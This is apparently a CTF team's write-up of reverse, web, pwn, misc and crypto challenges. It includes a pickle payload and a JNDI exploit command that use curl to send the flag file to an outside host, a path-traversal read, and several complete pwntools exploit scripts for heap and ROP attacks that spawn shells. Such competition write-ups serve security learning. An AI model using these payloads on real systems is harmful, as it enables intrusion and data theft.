前言
队里师傅太猛了,最后取得了第三的成绩
Reverse
fastjs
quickjs 虚拟机,按照网上的教程 dump 下 opcode,之后就是手动反编译出伪代码
发现是base64编码然后 xxtea,密钥是常量字符串
直接写程序解密就行了
#include <stdint.h>
#include <stdio.h>
#define DELTA 0x9e3779b9
#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
} else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
int main() {
int8_t cipher[] = {5, 174, 208, 206, 68, 31, 128, 181, 188, 54, 175, 76, 105, 133, 9, 252, 108, 195, 201, 113, 70, 53, 61, 229, 169, 92, 106, 190, 160, 127, 212, 167, 7, 9, 50, 216, 106, 195, 45, 98, 134, 114, 165, 145, 35, 229, 151, 35, 49, 219, 93, 255, 231, 5, 115, 98};
const int8_t key[] = "no_thing_is_true";
uint32_t *v = (uint32_t *)cipher;
const uint32_t *k = (const uint32_t *)key;
int n = sizeof(cipher) / sizeof(uint32_t); //n的绝对值表示v的长度,取正表示加密,取负表示解密
btea(v, -n, k);
for (int i = 0; i < sizeof(cipher); i++) {
printf("%c", cipher[i]);
}
return 0;
}
然后 base64 decode一下就得到了flag
Web
ezPickle
简单的Pickle反序列化,给了后门
notadmin={"admin":"no"}
def backdoor(cmd):
if notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)
修改导入的notadmin就能用backdoor,直接pker一把梭了
from pker import cons
payload = """notadmin = GLOBAL('config', 'notadmin')
notadmin["admin"] = "yes"
backdoor = INST('config', 'backdoor', '__import__("subprocess").call("curl vps:5666 -d `cat /flag` ",shell=True)')
return
"""
payload = cons(payload)
import pickletools
pickletools.dis(payload)
import base64
print(base64.b64encode(payload))
restricted_loads(payload)
print(notadmin)
zerocalc
这题也无语
做了一下午
挖了一下午0day
发现可以目录穿越
直接传readFile(“../../../../flag”)
hospital
脑洞题
真的无语
L.J. 23:10:19
import requests
import base64
url = "http://123.60.75.243:32767/feature.php"
url = "http://123.60.75.243:32767/old/feature.php"
filename = "/etc/hosts"
bytes_url = filename.encode("utf-8")
str_url = base64.b64encode(bytes_url) # 被编码的参数必须是二进制数据
print(str_url)
cookie = {
"API" : "L3N0YXJ0dXAuc2g"
}
a = requests.get(url=url,cookies=cookie)
print(a.text)
最后flag在flag.php
shiro
/;/json绕过shiro
考虑jackson反序列化:
http://b1ue.cn/archives/189.html
这是一个由logback引起的jndi注入,可影响到 2.9.9.1
一把梭
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -d @/flag http://xx.xx.xx.xx:3333/" -A xx.xx.xx.xx
拿到flag
EasyFilter
通过convert.base64-decode/../ include出来
写马
直接cat /flag
Give_me_your_0day
一开始看到install.php就想着要打反序列化的CVE,而且源码确实没改过,但是发现必须要安装过才能能触发反序列化点。然后就只剩下利用连接数据库这个点了,Pdo驱动不好打,改包换成Mysqli就好打了

pwn
bitflip
obo
#coding:utf-8
from pwn import *
import subprocess, sys, os
from time import sleep
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './bitflip'
ip = '124.71.130.185'
port = 49154
remote_libc_path = './libc-2.27.so'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('Your choice: ', str(idx))
def add(idx, size):
chose(1)
sla('Index', str(idx))
sla('Size', str(size))
def edit(idx, content):
chose(2)
sla('Index', str(idx))
sa('Content', content)
def free(idx):
chose(4)
sla('Index', str(idx))
def show(idx):
chose(3)
sla('Index', str(idx))
p.recvuntil('Content: ')
run(0)
add(0, 0x18)
add(1, 0x18)
add(2, 0x18)
edit(0, '/bin/sh'.ljust(0x18, '\0')+'\x51')
free(1)
add(1, 0x48)
for i in range(0x11):
add(5+i, 0x50)
add(0x16, 0x18)
# add(11, 0x18)
# for i in range(8):
# free(10-i)
edit(1, 'a'*0x38+flat(0x601)+'\n')
# debug()
free(5)
edit(1, 'a'*0x3f+'\n')
show(1)
p.recvuntil('a\n')
libc = ELF(remote_libc_path)
libc.address = str2int(p.recv(6).ljust(8, '\0'), 'libc', libc.sym['__malloc_hook']+0x70)
edit(1, 'a'*0x18+flat(0x21, 0, 0, 0, 0x601)+'\n')
free(0x16)
free(2)
edit(1, 'a'*0x18+flat(0x21, libc.sym['__free_hook'])+'\n')
add(2, 0x18)
add(0x16, 0x18)
edit(0x16, p64(libc.sym['system'])+'\n')
free(0)
p.interactive()
old_school
obo
#coding:utf-8
from pwn import *
import subprocess, sys, os
from time import sleep
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './old_school'
ip = '121.36.194.21'
port = 49154
remote_libc_path = './libc-2.27.so'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('Your choice: ', str(idx))
def add(idx, size):
chose(1)
sla('Index', str(idx))
sla('Size', str(size))
def edit(idx, content):
chose(2)
sla('Index', str(idx))
sa('Content', content)
def free(idx):
chose(4)
sla('Index', str(idx))
def show(idx):
chose(3)
sla('Index', str(idx))
p.recvuntil('Content: ')
run(0)
add(0, 0x18)
add(1, 0x18)
add(2, 0x18)
edit(0, '/bin/sh'.ljust(0x18, '\0')+'\xf1')
free(1)
add(1, 0xe8)
for i in range(8):
add(3+i, 0x100)
add(11, 0x18)
for i in range(8):
free(10-i)
edit(1, 'a'*0x3f+'\n')
show(1)
p.recvuntil('a\n')
libc = ELF(remote_libc_path)
libc.address = str2int(p.recv(6).ljust(8, '\0'), 'libc', libc.sym['__malloc_hook']+0x70)
edit(1, 'a'*0x18+flat(0x21, 0, 0, 0, 0x111)+'\n')
free(11)
free(2)
edit(1, 'a'*0x18+flat(0x21, libc.sym['__free_hook'])+'\n')
add(2, 0x18)
add(11, 0x18)
edit(11, p64(libc.sym['system'])+'\n')
free(0)
p.interactive()
pwnpwn
ret2libc
#coding:utf-8
from pwn import *
import subprocess, sys, os
from time import sleep
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './pwnpwn'
ip = '124.71.156.217'
port = 49154
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('Chose', str(idx))
def add(idx, size, content = '\n'):
chose(1)
sla('Index', str(idx))
sla('Size', str(size))
sa('Content', content)
def edit(idx, content):
chose(2)
sla('Index', str(idx))
sa('Content', content)
def free(idx):
chose(3)
sla('Index', str(idx))
def show(idx):
chose(4)
sla('Index', str(idx))
run(0)
# str2int('\x01\x02
p.sendline('1')
p.recvuntil('let us give you some trick\n')
base = int(p.recvline('\n'), 16) - 0x9B9
rdi = base+0x0000000000000b83
binsh = base+0x202010
system = base+0x808
sleep(0.1)
p.sendline('2')
sa('hello', 'a'*0x68+'b')
p.recvuntil('ab')
can = '\0'+p.recv(7)
sleep(0.1)
payload = 'a'*0x68 + can + flat(0, rdi, binsh, system)
p.send(payload)
p.interactive()
random_heap
uaf,因为有random需要反复触发爆破覆写__free_hook
#coding:utf-8
from pwn import *
import subprocess, sys, os
from time import sleep
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './random_heap'
ip = '124.71.140.198'
port = 49154
remote_libc_path = './libc-2.27.so'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('Your choice: ', str(idx))
def add(idx, size):
chose(1)
sla('Index', str(idx))
sla('Size', str(size))
def edit(idx, content):
chose(2)
sla('Index', str(idx))
sa('Content', content)
def free(idx):
chose(4)
sla('Index: ', str(idx))
def show(idx):
chose(3)
sla('Index', str(idx))
p.recvuntil('Content: ')
run(0)
add(0, 0x100)
add(1, 0x10)
add(2, 0x10)
edit(2, '/bin/sh\0')
add(3,0x10)
add(4, 0x10)
edit(4, '/bin/sh\0')
add(5, 0x10)
for i in range(7):
free(0)
edit(0, '1'*0x10)
free(0)
show(0)
libc = ELF(remote_libc_path)
libc.address = str2int(p.recv(6).ljust(8, '\0'), 'libc', libc.sym['__malloc_hook']+0x70)
free(1)
edit(1, '1'*0x10)
free(1)
edit(1, flat(libc.sym['__free_hook']))
while 1:
add(10, 0x10)
edit(10, p64(libc.sym['system'])+'\n')
free(2)
if p.recv(2, timeout = 1) == '':
break
edit(2, '/bin/sh'.ljust(0x10, '\0'))
add(10, 0x10)
edit(10, p64(libc.sym['system'])+'\n')
free(4)
if p.recv(2, timeout = 1) == '':
break
edit(4, '/bin/sh'.ljust(0x10, '\0'))
p.interactive()
sonic
栈迁移rop,strcpy凑gadget
#coding:utf-8
from pwn import *
import subprocess, sys, os
from time import sleep
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './sonic'
ip = '123.60.63.90'
port = 6890
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('Chose', str(idx))
def add(idx, size, content = '\n'):
chose(1)
sla('Index', str(idx))
sla('Size', str(size))
sa('Content', content)
def edit(idx, content):
chose(2)
sla('Index', str(idx))
sa('Content', content)
def free(idx):
chose(3)
sla('Index', str(idx))
def show(idx):
chose(4)
sla('Index', str(idx))
run(0)
# debug('b *$rebase(0x7CE)')
p.recvuntil('main Address=')
base = int(p.recvline(), 16) - 0x7cf
success('base ==> 0x%x'%base)
rdi = base + 0x00000000000008c3
rsi = base + 0x00000000000008c1
binsh = base + 0x201040
bss = binsh + 0x600
execve = base + 0x610
gets = base + 0x600
printf = base + 0x5f0
lr = base + 0x000000000000078d
payload = '/bin/sh'.ljust(0x20, '\x00') + p64(bss)
payload += flat(rdi, base+0x200FC8, rdi+1, printf)
payload += flat(rdi, binsh, gets, lr)
# payload += flat(rdi, binsh+8, rsi, binsh, 0, execve)
# sla('login:', payload)
p.sendline(payload)
sleep(0.1)
libc = ELF(remote_libc_path)
p.recvuntil('\n')
libc.address = str2int(p.recv()[-6:].ljust(8, '\0'), 'libc', libc.sym['gets'])
# libc.address = 0x7fffff5b0000
binshs = libc.search('/bin/sh').next()
ff = base+0x200FC8+4
# payload = flat(binsh+8, 'cat flag\0')
payload = '/bin/sh'.ljust(0x600, '\0')
payload += flat(0)
payload += flat(rdi, bss+0x74, rsi, ff, 0, base+0x5E0)
payload += flat(rdi, bss+0x300)
payload += flat(rdi+1, gets)
payload += flat(rdi, bss+0x300, rdi+1)
payload += p64(libc.sym['system'])[:-4]
# payload = flat(0)
# payload += flat(rdi, 0, rsi, )
p.sendline(payload)
sleep(0.1)
p.sendline('/bin/sh')
p.interactive()
old_school_revenge
2.27的off by null。
exp:
from pwn import *
context.log_level='debug'
def add(idx,size):
sh.sendlineafter(': ','1')
sh.sendlineafter(": ",str(idx))
sh.sendlineafter(': ',str(size))
def edit(idx,content):
sh.sendlineafter(': ','2')
sh.sendlineafter(": ",str(idx))
sh.sendafter(': ',content)
def show(idx):
sh.sendlineafter(': ','3')
sh.sendlineafter(": ",str(idx))
def free(idx):
sh.sendlineafter(': ','4')
sh.sendlineafter(": ",str(idx))
lib=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#sh=process('./old_school_revenge')
#pause()
sh=remote('123.60.63.39',49155)
for i in range(8):
add(i,0xf0)
for i in range(8):
free(7-i)
add(0,0x20)
show(0)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-lib.sym['__malloc_hook']-0x160
print(hex(libc_base))
free_hook=libc_base+lib.sym['__free_hook']
system_addr=libc_base+lib.sym['system']
add(1,0xc0)
add(2,0x38)
add(3,0x100)
add(4,0x100)
for i in range(7):
add(7+i,0x100)
for i in range(7):
free(7+i)
edit(3,'a'*0xf0+p64(0x100)+'\n')
free(3)
edit(2,'a'*0x38)
add(5,0x80)
add(6,0x60)
for i in range(7):
add(7+i,0x80)
for i in range(7):
free(7+i)
free(5)
free(4)
add(4,0x70)
add(5,0x70)#overlap with 6
add(7,0x90)
add(8,0x70)
edit(5,p64(0)+p64(0x71)+'\n')
free(6)
edit(5,p64(0)+p64(0x71)+p64(free_hook)+'\n')
add(6,0x60)
add(9,0x60)
edit(9,p64(system_addr)+'\n')
edit(6,'/bin/sh\n')
free(6)
sh.interactive()
bornote
2.31的off by null。
exp:
from pwn import *
context.log_level='debug'
def add(size):
sh.sendlineafter(": ",'1')
sh.sendlineafter(": ",str(size))
def free(idx):
sh.sendlineafter(": ",'2')
sh.sendlineafter(": ",str(idx))
def edit(idx,content):
sh.sendlineafter(": ",'3')
sh.sendlineafter(": ",str(idx))
sh.sendafter(": ",content)
def show(idx):
sh.sendlineafter(": ",'4')
sh.sendlineafter(": ",str(idx))
#lib=ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
#sh=process('bornote')
lib=ELF('./libc-2.31.so')
sh=remote('121.36.250.162',49155)
sh.sendafter(': ','sh\n')
add(0x1e0)#0
edit(0,"a\n")
add(0x1e0)#1
edit(1,"a\n")
free(1)
free(0)
add(0x1e8)#0
show(0)
sh.recvuntil('Note: ')
heap_1=u64(sh.recv(6).ljust(8,'\x00'))-0x10
heap_0=heap_1-0x1f0
heap_2=heap_1+0x1f0
print(hex(heap_0))
#pause()
add(0x1e0)#1
edit(1,'a'*0xf0+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0xf1)+'\n')
edit(0,"a"*0x1e8)
free(0)
add(0x1e8)#0
edit(0,p64(0)+p64(0x1e1)+p64(heap_2-8)+p64(heap_2)+"a"*0x1c0+p64(0x1e0))
add(0x1e0)#2
edit(2,p64(heap_0+0x10)+'\n')
for i in range(7):
add(0xf0)
edit(3+i,p64(heap_1)+'\n')#3-9
for i in range(7):
free(i+3)
free(1)
add(0xf0)
edit(1,p64(heap_1)+'\n')
for i in range(8):
add(0xf0)#3-10
edit(i+3,p64(heap_1)+'\n')
add(0xd0)#11
free(1)
for i in range(5):
free(3+i)
#pause()
add(0x1b0)#1
add(0xf0)#3
show(1)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0-0x1d0
print(hex(libc_base))
system_addr=libc_base+lib.sym['system']
free_hook=libc_base+lib.sym['__free_hook']
free(3)
free(9)
edit(0,p64(0)+p64(0x101)+p64(free_hook)+'\n')
add(0xf0)#3
edit(3,'/bin/sh\n')
add(0xf0)#4
edit(4,p64(system_addr)+'\n')
free(3)
sh.interactive()
oldecho
存在格式化字符串漏洞,调用printf时rsp上方残留有stdout的地址,所以先把stdout的地址改为stdout中fileno的地址,再栈迁移抬高栈顶到比它高的位置,之后即可改写stdout的fileno为2获得输出。泄露libc之后写一个orw的rop链到栈上,再栈迁移到对应位置处即可读出flag。
exp:
from pwn import *
def edit_stack(addr,value,mode):
edit_rbp(addr,1)
payload="%{}d".format(value)+"%10$hhn"
sh.sendline(payload)
def edit_stack2(addr,value):
low=addr&0xffff
payload="%{}d".format(low)+"%41$hn"
sh.sendline(payload)
if(value<8):
payload="a"*value+"%45$hhn"
else:
payload="%{}x".format(value)+"%45$hhn"
sh.sendline(payload)
def edit_rbp(addr,mode):
if(mode==1):
low=addr&0xffff
payload="%{}d".format(low)+"%6$hn"
else:
low=addr&0xff
payload="%{}d".format(low)+"%6$hhn"
sh.sendline(payload)
#guess=[0x90,0x86]
fileno_ptr=0x90
lib=ELF('./libc.so.6')
while(True):
#sh=process('./oldecho')
#pause()
sh=remote('123.60.32.152',49155)
sh.recvuntil('Gift: ')
stack_addr=int(sh.recv(14)[2:],16)#0x7fffffffdbd8
sh.recvuntil('it.\n')
print(hex(stack_addr))
#if((stack_addr&0xff)>=0xa8):
# mode=0
if((stack_addr&0xf000)<0x2000):
mode=1
else:
sh.close()
continue
#guess1=int(raw_input("guess:"),16)
#guess=(guess1<<8)+0x14
guess=0x6e14
ret_ptr=stack_addr+0x10
stdout_ptr=stack_addr-0xa8
start_ptr=stack_addr-0xa8-0x80
print("ret_ptr:",hex(ret_ptr))
print("stdout_ptr:",hex(stdout_ptr))
print("start_ptr:",hex(start_ptr))
edit_stack(stdout_ptr,fileno_ptr,mode)
edit_stack(ret_ptr,0x3e,0)
print(hex(guess&0xff))
edit_stack(start_ptr,guess&0xff,0)
print(hex(guess>>8))
edit_stack(start_ptr+1,guess>>8,0)
edit_rbp(start_ptr-8,mode)
#pause()
sh.sendline("Bye~")
try:
sh.recvuntil(' ',timeout=1)
except:
sh.close()
continue
payload="aa%23$hhn"
sh.sendline(payload)
payload="%23$p"
sh.sendline(payload)
sh.recvuntil('0x')
libc_base=int(sh.recv(12),16)-0x3c5690
print(hex(libc_base))
#pause()
rbp_ptr=stack_addr-0x108-0x28
flag_str=stack_addr+0x20
rop_addr=stack_addr+0x40#stack_addr-0x108
flag_addr=libc_base+0x3C9890
pop_rdi=libc_base+0x21112
pop_rsi=libc_base+0x202f8
pop_rdx=libc_base+0x1b92
open_addr=libc_base+lib.sym['open']
read_addr=libc_base+lib.sym['read']
write_addr=libc_base+lib.sym['write']
rop_chain=p64(pop_rdi)+p64(flag_str)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_addr)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x40)+p64(read_addr)+p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x40)+p64(write_addr)
edit_stack2(flag_str,ord('f'))
edit_stack2(flag_str+1,ord('l'))
edit_stack2(flag_str+2,ord('a'))
edit_stack2(flag_str+3,ord('g'))
edit_stack2(flag_str+4,0)
for i in range(6):
edit_stack2(rbp_ptr+i,((rop_addr-8)>>(8*i))&0xff)
cnt=0
for x in rop_chain:
edit_stack2(rop_addr+cnt,ord(x))
cnt+=1
sh.recv()
#pause()
sh.sendline('Bye~')
sh.interactive()
break
Misc
Bar
将gif逐帧分离,发现前27张里除了黑白还有灰色,猜测灰色可能是分隔符,用摩尔斯点吗解一下,得到CODE93,查询得知这是一种条形码的编码格式,再将剩下的黑白部分拼起来,得到条形码,扫不出。查资料得知合成的条码缺少了两个校验位,以及有一个字符缺少一位。缺少的一位很好确定,就是字符‘2’,根据CODE93编码规则,6次一个字符,用肉眼数的方式,读出字符串f0c62db973684dbda896f9c5f6d962
校验码可以计算,但是没必要,直接用CODE93 extended格式再生成一份条形码,再数两个校验字符分别是u和m 得到flag{f0c62db973684dbda896f9c5f6d962um}
WeirdPhoto
图片很明显的宽高错误,直接爆宽度
from PIL import Image
f=open('code.txt','w')
img = Image.open('1.bmp')
final = Image.new('RGB',(1920,600))
i=0
j=0
for temp in range(1000,1920):
i=0
j=0
for y in range(500):
for x in range(1000):
color = img.getpixel((x,y))
final.putpixel((i,j),color)
i=i+1
if i == temp:
j= j +1
i=0
final.save('{}.png'.format(temp))

得到一串字符
TIEWOFTHSAEOUIITNRBCOSHSTSAN
刚开始以为是德语啥的,结果栅栏一下得到THISISTHEANSWERTOOBSFUCATION
,揭开压缩包
得到一个坏的pdf,修一下,用wbstego得到
flag{th1s_ls_thE_f1n4l_F14g_y0u_want}
BlueWhale
流量包里找到个th1sIsThEpassw0rD
,发现压缩包里也有个password.txt,长度还一样,直接明文攻击了,很快就解出来了,连密码也整出来了!2b$3&Ec
打开压缩包,图片LSB 简简单单zsteg一下flag{F1nallY_y0uve_f0unD_1t}
Mirror
图片拖TweakPNG里,发现CRC不对,并且结束符后有垃圾,先把高度改对了,然后再看字节码,图片后边跟着反着的另一个PNG的字节码,提出来得到另一张图,stegosolve看一下异或,发现了明显的盲水印特征


水印看一看 得到了镜像的flag,用PS变换一下,再根据hint代换一下

得到
flag{356ffd89983749059ab1e3e968a01d90}
Crypto
签到
base64 dddd
onlyrsa
n在11进制下0特别多,放多项式里分解就行了。
分解后有一半不是素的,拿另一个大因子算就行了
n = 264048827496427248021277383801027180195275776366915828865010362454006394906519399441496561006668252031429735502465174250525698696973129422193405161920872162928097673289330345041221985548078586423910246601720647996170161319016119241836415788315729493164331517547663558380515400720081995290120793014108439083514403659082115510258023834737471488528527557960636984676435543300074504679264476413252780514962473070445293528877641502742438571110744667739728450283295649865745629276142949963507003094791773183928894536793857609738113546410753895719242547720815692998871947957214118354127328586542848234994500987288641595105
e = 65537
c = 76196483810925191371357319946893762223027002702624516192769497540954799651198719100683206759706879828894501526423422596543748404479640715319801018211652987852179907519286760601944889601355220646374788026632971331786307898234821477134265724962397355614076896148563340833323366935479885600112872998594315513803419069126624158092821269145991266528158747750965226483644012365861166608598063649804899693010576080857540523307078138634628539419178875838147396170651777949577793359622498517581948006585916952705460782942977789615065947303447566918741750017127110484065354974088489869377128636357092420660532261674969708694
from Crypto.Util.number import *
digits = n.digits(11)
f = 0
for i, each in enumerate(digits):
f += each * x ^ i
factors = f.factor_list()
p = factors[0][0]
q = factors[1][0]
p = p(x=11)
q = q(x=11)
assert p * q == n
if not is_prime(p):
p = q
d = inverse_mod(e, p - 1)
print(long_to_bytes(pow(c, d, p)))
ezhash
中间相遇攻击,尝试从前后分别构造消息块并往中间状态推导并等待碰撞,一旦碰撞说明找到了合适的构造方案。朴素算法时间复杂度为$O(2^{40})$,中间相遇只需要$O(2^{20})$
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
from Crypto.Util.number import *
from tqdm import trange
aes = AES.new(b"a"*32, AES.MODE_ECB)
last = b'\x03\x1c\xddf:\xa0\xea\xb1\xa5\x03\xe7>\x13\x0bL\xbf'
def pad(m):
padding_len = 11 - len(m) % 11
m += bytes([0x80] + [padding_len - 1] * (padding_len - 1))
return m + b'\x00' * 5
def solve(m1, m2):
m1 = long_to_bytes(m1).rjust(11, b'\x00') + b'\x00' * 5
m2 = pad(long_to_bytes(m2))
m1 = bytes([(each + 2) % 256 for each in m1])
m1 = aes.encrypt(m1)
m2 = bytes([(each2 - each1 - 2) % 256 for each1, each2 in zip(m2, last)])
m2 = aes.decrypt(m2)
mid = bytes([(each2 - each1 - 2) % 256 for each1, each2 in zip(m1, m2)])
assert mid[-5:] == b'\x00' * 5
return mid[:-5]
import string
charset = string.ascii_letters+string.digits
from hashlib import sha256
def proof(known, hashcode):
for each1 in charset:
for each2 in charset:
for each3 in charset:
for each4 in charset:
this = each1 + each2 + each3 + each4 + known
if sha256(this.encode()).hexdigest() == hashcode:
return this[:4]
middle = {}
left = []
right = []
data = 0
while True:
this = long_to_bytes(data).rjust(11, b'\x00') + b'\x00' * 5
this = bytes([(each + 2) % 256 for each in this])
this = aes.encrypt(this)[-5:]
this = bytes([(each + 2) % 256 for each in this])
if this not in middle:
middle[this] = data
left.append(this)
elif this not in left:
print(long_to_bytes(data).rjust(11, '\x00'))
print(solve(data, middle[this]))
print(long_to_bytes(middle[this]))
break
this = pad(long_to_bytes(data))
this = bytes([(each2 - each1 - 2) % 256 for each1, each2 in zip(this, last)])
this = aes.decrypt(this)[-5:]
if this not in middle:
middle[this] = data
right.append(this)
elif this not in right:
print(long_to_bytes(middle[this]).rjust(11, b'\x00'))
print(solve(middle[this], data))
print(long_to_bytes(data))
break
data += 1
输出的三行消息拼接起来就是碰撞
bad prince
prince加密算法的故障注入,题目中每次访问远程,注入的轮数是6、7、8三个值随机的。根据Aikata等人在《PRINCE under Differential Fault Attack: Now in 3D》中提到的解决方案得知,攻击第六轮的注入几乎是不可能的。因此如果链接远程拿了个第六轮注入的,寄,重开。
github上面可以找到这样一个项目:PRINCE-under-Differential-Fault-Attack-Now-in-3D-master,其中积分攻击部分实现了第七轮的故障注入密钥破解,并且条件符合题目情景。只需要把IntegralAttack.py中生成密文的部分去掉,换成题目中给的密文,就可以获取K1和K0-Prime,然后根据逻辑计算k0即可。
具体如何判断注入点是不是第七轮,根据上面paper描述,可以推导出:如果注入在第八轮,那么这些密文的异或值肯定为全0;然后根据GitHub项目,如果注入在第六轮,那么这个项目的代码无法分析注入位置。
# -*- coding: utf-8 -*-
from IntegralAttack import IntegralAttack
from bitstring import BitArray
from os import urandom
from Crypto.Util.number import long_to_bytes
from PRINCE import PRINCE
hint = ['981541862745d3a9', 'f745b43a26392642', 'cd86e761261ea7e9', 'c78b3a7547b8b950', '9c167a7dcdac0268', '5718b269685a3a3b', 'fe930d8ccb2df025', 'ff98c7ad820d6438', '801d1b0f5da07d98', '4a584c3f2a09c88e', '9d2da4929d88dbaa', 'ed5eaacaba82be29', 'cd7ee3a175a83ba1', 'd111a1965a7b08d2', '25e1156a45f70d07', 'ec078e2281df3d31']
enc_flag = "992c4e89dd8a69eaf552808da2b18a426d8f8c9e2e779c88d9f2aeab263f1ab07156e10e966bc069a4f34006cb8b1d76"
hint = [BitArray("0x" + each) for each in hint]
key = BitArray(urandom(16))
attacker = IntegralAttack(BitArray(b"\x00" * 8), key, faultyNibble = 15, c = hint)
#attacker.launch_attack(1)
k1 = 0x40454c5481c7c617
k0_prime=0x67d4e62803b8ee03
data2 = 0x2791aa7c827f2814
k0 = int("1100111110101001110011000101000000000111011100011101110000000100", 2)
key = (k0 << 64) + k1
key = BitArray(hex(key))
princeObj = PRINCE(key)
flag = b''
for i in range(0, len(enc_flag), 16):
this = princeObj.decrypt(BitArray("0x" + enc_flag[i:i+16])).hex
flag += long_to_bytes(int(this, 16))
print(flag)